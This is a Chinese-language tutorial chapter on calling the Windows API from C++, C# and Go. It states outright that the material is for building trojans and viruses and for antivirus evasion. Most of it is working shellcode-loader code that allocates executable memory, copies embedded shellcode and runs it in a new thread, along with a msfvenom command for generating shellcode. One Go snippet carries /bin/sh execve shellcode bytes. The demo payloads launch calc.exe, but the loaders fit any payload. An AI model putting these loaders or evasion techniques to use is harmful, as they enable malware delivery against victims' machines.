2-WindowsAPI
一、初识WindowsAPI
PE的相关数据结构
和 WindowsAPI
这两小节非常非常重要。在 PE的相关数据结构
这一小节中,你可能不会直观的感受它的重要性。而在 Windows API
这一节中,你将能够直观地感受到它的重要性,因为这将使你能够实际编写代码并实现功能。
定义:Windows API
(应用程序编程接口)是由微软提供的一组用于操作系统的功能和服务的接口,允许开发者在 Windows 操作系统上创建应用程序。Windows API
提供了对操作系统功能的访问,包括文件操作、图形处理、用户界面、网络通信等。
简单理解:Windows API
是一个Windows操作系统提供的可以调用的函数。
对于制作木马、病毒等恶意软件,有几个核心的DLL需要特别熟悉
Kernel32.dll:提供对系统功能的访问,如内存管理、进程和线程管理、文件和设备输入输出等。
Ntdll.dll: 是 Windows 操作系统中的一个核心动态链接库(DLL),它提供了许多底层的系统服务和功能。这个库是 Windows NT 操作系统架构的一部分,几乎所有的 Windows 应用程序和系统服务都依赖于它。它也是反病毒软件经常hook的一个核心动态链接库。通过在Ntdll上设置钩子(hook),杀毒软件可以拦截这些API函数的调用,并检查它们的参数和返回值,以便发现潜在的恶意行为。关于 hooking技术我将会在
Hooking技术
这一节中详细讲解。User 32.dll:处理用户界面相关的功能,包括窗口管理、消息处理、输入事件等
Advapi32.dll:提供高级 API 功能,如注册表访问、安全性和服务管理。
其中 Kernel32.dll
和 Ntdll.dll
将在后续章节反复提及,所以请读者引起重视,如果本节的讲解不能让你搞懂如何使用WindowsAPI,还请查阅其他资料,务必搞懂。
如何使用这些API呢?最佳的方法是查阅微软的官方文档: Windows API 索引 - Win32 apps | Microsoft Learn
下面,我将介绍静态调用WindowsAPI,关于动态调用api,这将在 动态获取api函数
这一节中详细介绍
二、C++调用WindowsAPI
因为微软的官方文档的语法是C++写,所以对于初学者更建议使用C++调用WindowsAPI方式。
2.1 示例
使用msf生成一个calc的shellcode
msfvenom -p windows/exec cmd=calc.exe -f c

包含必要的头文件 在你的 C++ 源文件中,你需要包含 Windows API 的头文件
windows.h
编写经典的创建线程注入的代码
#include <Windows.h>
//将刚刚在msf中生成的calc的shellcode复制粘贴过来
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
void main() {
// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, buf, sizeof(buf));
// 创建一个线程执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
}

2.2 介绍一下涉及到的API
(1)VirtualAlloc
官方文档:VirtualAlloc 函数 (memoryapi.h) - Win32 apps | Microsoft Learn
作用:保留、提交或更改调用进程的虚拟地址空间中页面区域的状态。最常用的功能就是申请一块虚拟内存区域
语法:
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
//in是一种注释,用于指示参数的传入方向,in表示该参数是输入参数
[!NOTE] 几个数据类型解释
LPVOID
是一个指针类型,表示指向任何类型的指针。它是void*
的别名,允许指向任何数据类型的内存地址
SIZE_T
是一个无符号整数类型,通常用于表示内存大小或计数。它的大小与平台相关:在 32 位系统上通常为 32 位(4 字节),在 64 位系统上为 64 位(8 字节)。
DWORD
是一个无符号的 32 位整数类型(4 字节)。它是unsigned long
的别名,通常用于表示状态码、标志和其他需要 32 位整数表示的值。
lpAddress:要分配的区域的起始地址。如果为
NULL
,系统将自动选择地址。可以指定一个地址,但如果该地址不合适,分配将失败。dwSize:要分配的内存块的大小(以字节为单位)。必须大于零。
flAllocationType:分配类型的标志,可以是以下值之一或它们的组合
MEM_COMMIT
:分配物理内存并将其映射到进程的虚拟地址空间。MEM_RESERVE
:保留地址空间,但不分配物理内存。MEM_RESET
:重置内存页的状态。MEM_LARGE_PAGES
:使用大页面进行分配(需系统支持)。
flProtect:内存保护的标志,可以是以下值之一:
PAGE_READONLY
:页面是只读的。PAGE_READWRITE
:页面可读可写。PAGE_EXECUTE
:页面可执行。PAGE_EXECUTE_READ
:页面可执行且可读。
(2)RtlMoveMemory
官方文档:Wdm.h) (RtlMoveMemory 函数 - Win32 apps | Microsoft Learn
作用:将源内存块的内容复制到目标内存块,并支持重叠的源内存块和目标内存块。
语法:
VOID RtlMoveMemory(
_Out_ VOID UNALIGNED *Destination,
_In_ const VOID UNALIGNED *Source,
_In_ SIZE_T Length
);
//_Out_ 表示输出参数
因为比较简单,所以参数的含义直接看官方文档即可。
(3)CreateThread
官方文档:CreateThread 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn
作用:在当前进程的虚拟地址空间内创建一个线程,这个线程会执行相应内存区域的代码
语法:
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
lpThreadAttributes:用于指定线程的安全属性。如果为
NULL
,则线程句柄无法被继承。可以设置线程的安全性,例如访问控制。dwStackSize:如果指定为 0,系统将使用默认堆栈大小。可以根据需要设置更大的堆栈大小。
lpStartAddress:指定线程开始执行时的地址。
lpParameter:可以用于传递数据到线程。如果不需要传递参数,可以设为
NULL
。dwCreationFlags:可以设置为 0(默认创建线程),或使用
CREATE_SUSPENDED
等标志。CREATE_SUSPENDED
会使线程在创建后处于挂起状态,直到调用ResumeThread
。lpThreadId:用于接收新线程的线程 ID。如果不需要线程 ID,可以将其设置为
NULL
。
(4)WaitForSingleObject
官方文档:WaitForSingleObject 函数 (synchapi.h) - Win32 apps | Microsoft Learn
作用:用于等待一个指定的对象(在本例中是一个线程)进入信号状态
语法:
DWORD WaitForSingleObject(
[in] HANDLE hHandle,
[in] DWORD dwMilliseconds
);
[!NOTE] 一个数据类型
HANDLE
:是 Windows API 中用于表示各种对象(如文件、线程、进程、事件等)的一个数据类型。它是一个指向内部数据结构的引用,允许程序通过这个引用来管理和与操作系统资源进行交互。句柄类型是Windows操作系统中很重要的数据类型,读者感兴趣的话,可以查阅网上的资料,作进一步的了解。
hHandle:这是一个句柄,指向要等待的对象
dwMilliseconds:指定等待的时间,以毫秒为单位。如果设置为
INFINITE
,则函数将无限期等待,直到对象进入信号状态。
三、C# 调用WindowsAPI
在C# 中调用Windows API的实质是托管代码
对非托管代码
的调用。
在 C# 中调用 Windows API 通常通过 P/Invoke(平台调用)实现。P/Invoke 允许你在 C# 中调用非托管代码
(如 Windows API 函数)
托管与非托管,CLR的概念可以详解: 什么是 CLR ? - 知乎
3.1 CLR
定义:
公共语言运行时(CLR)是一套完整的、高级的虚拟机,它被设计为用来支持不同的编程语言,并支持它们之间的互操作。
一个(很少见的)完备的编程平台,它指定了一个程序的完整生命周期中所需要的所有细节,从构建、绑定一直到部署和执行。
简单理解:它就是功能极其强大的一个虚拟机、一个编程平台。
3.2 托管代码(Managed Code)
托管代码是由托管执行环境(如 .NET CLR
,全称 NET Common Language Runtime
,公共语言运行时)执行的代码。这个环境负责管理代码的执行,包括内存分配、垃圾回收、安全性和异常处理等。
例子:C#、VB.NET 和 F# 等语言编写的代码都是托管代码。
3.3 非托管代码 (Unmanaged Code)
非托管代码是直接在操作系统上运行的代码,它不受托管执行环境的控制。
例子:用 C 或 C++ 编写的代码通常被视为非托管代码。
3.4 示例
需要使用到
System.Runtime.InteropServices
这个命名空间(namespace),专门用于提供与非托管代码进行交互的功能。API声明的模板
[DllImport("<DLL名称>")]
public static extern <函数返回值类型> <API名称>(参数1, 参数2, ……);
一个弹出calc的例子(加载器代码只适用于32位程序,具体原因未知)
using System;
using System.Runtime.InteropServices;
using System.Threading;
class Program
{
// 声明 Windows API 函数
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
// Shellcode
private static byte[] shellcode = new byte[]
{
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
static void Main()
{
// 申请可执行内存
IntPtr pMemory = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
// 将 shellcode 复制到申请的内存
Marshal.Copy(shellcode, 0, pMemory, shellcode.Length);
// 创建线程执行内存中的代码
uint threadId;
IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMemory, IntPtr.Zero, 0, out threadId);
// 等待线程执行完成
WaitForSingleObject(hThread, 0xFFFFFFFF);
// 释放内存(可选)
VirtualFree(pMemory, 0, 0x8000);
}
}
因为WindowsAPI是C++写的,而我们的加载器是C# 写的,所以这就涉及到我们的函数参数的数据类型要与WindowsAPI的参数类型一致。如何确定函数参数的类型呢?可以参照VS的提示,进行数据类型的匹配就可以了。比如 VirtualAlloc
,鼠标光标悬停,VS就会给出函数参数的类型

运行结果

[!NOTE] 几个数据类型
IntPtr
是 .NET 中的一个结构,主要用于表示一个指针或句柄。它的大小与平台相关:在 32 位平台上,IntPtr
是 4 字节(32 位),而在 64 位平台上是 8 字节(64 位)。使用IntPtr
可以在托管代码和非托管代码之间安全地传递指针和句柄。
IntPtr.Zero
是一个静态属性,表示一个空指针或句柄
uint
是 C# 中的一个无符号整型数据类型,表示一个 32 位的无符号整数。
四、Go调用WindowsAPI
GO语言中调用 Windows API 来分配可执行内存、复制 shellcode、创建线程并执行 shellcode,可以使用 golang.org/x/sys/windows
包
4.1 示例
package main
import (
"golang.org/x/sys/windows"
"unsafe")
func main() {
// 弹出计算器的shellocde
// hex格式505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3
shellcode := []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28,
0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B,
0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,
0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,
0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07,
0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,
0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B,
0x5A, 0x59, 0x58, 0xC3}
//申请内存
addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
// 复制shellcode到内存
ntdll := windows.NewLazySystemDLL("ntdll.dll")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
// 修改内存权限为可执行
var oldProtect uint32
_ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
// 创建线程
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
CreateThread := kernel32.NewProc("CreateThread")
thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
_, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
}
注:
不知道为什么用msf生成的弹出计算器shellcode不起作用了,所以我又换了一个shellcode
如果不知道api的数据类型,光标悬停在Call函数上,IDE会给出提示。比如RtlCopyMemory.Call的全部参数的类型是uintptr类型的,接下来就是数据类型转换了。

(uintptr)(unsafe.Pointer(&shellcode[0]))
这种数据类型的转换在Go免杀中很常见首先用
&
运算符获得数组第一个元素的地址,即数组首地址。然后用
unsafe.Pointer(&shellcode[0])
将*byte
类型转换成unsafe.Pointer
类型。最后将
unsafe.Pointer
转换成uintptr
类型。
为什么要这么做?因为
*byte
指针类型不能直接转换成uintptr
无符号整数类型。&
运算符获得元素的地址是什么类型取决于被运算的变量的类型。如shellcode变量是[]byte
类型,所以&
运算后得到*byte
类型的数据。unsafe.Pointer是一种通用类型的指针,unsafe.Pointer适用的4种情况
任何类型的指针值都可以转换为 Pointer。
Pointer 可以转换为任何类型的指针值。
uintptr 可以转换为 Pointer。
Pointer 可以转换为 uintptr。

Go语言的语法详解官网或者其他教程。 1、入门指南 | Golang 中文学习文档 2、Go 语言教程 | 菜鸟教程
运行结果

4.2 在GO免杀中几个值得探讨的问题
(1)&
和 *
运算符
&
和 *
运算符&
是取地址符,放到一个变量前使用就会返回相应变量的内存地址
package main
import "fmt"
func main() {
var a int = 10
fmt.Printf("变量的地址: %x\n", &a )
}
运行结果

*
是解引用符,在指针类型的变量前面加上 *
号(前缀)来获取指针所指向的内容
package main
import "fmt"
func main() {
var a int = 20 /* 声明实际变量 */ var ip *int /* 声明指针变量 */
ip = &a /* 指针变量的存储地址 */
fmt.Printf("a 变量的地址是: %x\n", &a)
/* 指针变量的存储地址 */
fmt.Printf("ip 变量储存的指针地址: %x\n", ip)
/* 使用指针访问值 */
fmt.Printf("*ip 变量的值: %d\n", *ip)
}
运行结果

(2)指针指来指去
接下来我将用一段代码来解释 (uintptr)(unsafe.Pointer(&shellcode[0]))
这个语句背后的数据转换关系
package main
import (
"fmt"
"unsafe")
func main() {
shellcode := []byte{0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80}
// 获取字节切片第一个元素的地址并转换为 uintptr
shellcode2 := (uintptr)(unsafe.Pointer(&shellcode[0]))
// 打印不同形式的地址
fmt.Printf("Shellcode address (using &shellcode[0]): %x\n", &shellcode[0])
fmt.Printf("Shellcode address (using unsafe.Pointer): %x\n", unsafe.Pointer(&shellcode[0]))
fmt.Printf("Shellcode address (using uintptr): %x\n", shellcode2)
// 打印变量的类型
fmt.Printf("Type of &shellcode[0]: %T\n", &shellcode[0]) // *byte
fmt.Printf("Type of unsafe.Pointer(&shellcode[0]): %T\n", unsafe.Pointer(&shellcode[0])) // unsafe.Pointer
fmt.Printf("Type of shellcode2: %T\n", shellcode2) // uintptr
}
运行结果

&shellcode[0]
、unsafe.Pointer(&shellcode[0])
、shellcode2
他们的表示的值都是一样的,都表示shellcode数组的第一个元素的内存地址,只是他们的数据类型不同而已,不同类型的数据,编译器对数据的解释方法不同。&shellcode[0]
表示*byte
类型的指针。unsafe.Pointer(&shellcode[0])
表示通用类型的指针。shellcode2是uintptr
是内存地址的整数形式,它不能直接当作指针来使用。指针类型决定了指针进行解引用操作时,访问空间的大小。比如说
*int
表示了一次解应操作能访问的范围是int
类型大小;*byte
表示了一次解应操作能访问的范围是byte
类型大小。指针就是地址,指针变量是用来存放指针的。解应用的本质是解析存放在指针变量里的指针,得到指针所指向的内存空间的内容
以上内容,如果觉得不好理解,那就等自己知识积累足够丰富之后再回过头来看就会突然醒悟。在Go免杀中,这一步操作
(uintptr)(unsafe.Pointer(&shellcode[0]))
是相对固定没有很大的变化。
如果想更一步的了解指针,详见:
1、【C语言】深入理解指针(一篇让你完全搞懂指针)_c语言指针通俗理解-CSDN博客
2、【C 语言指针篇】指针的灵动舞步与内存的神秘疆域:于 C 编程世界中领略指针艺术的奇幻华章-腾讯云开发者社区-腾讯云
五、不同语言之间重要数据类型的转换关系
HANDLE
IntPtr
windows.Handle()
DWORD
uint
uint32
大部分指针类型
IntPtr
uintptr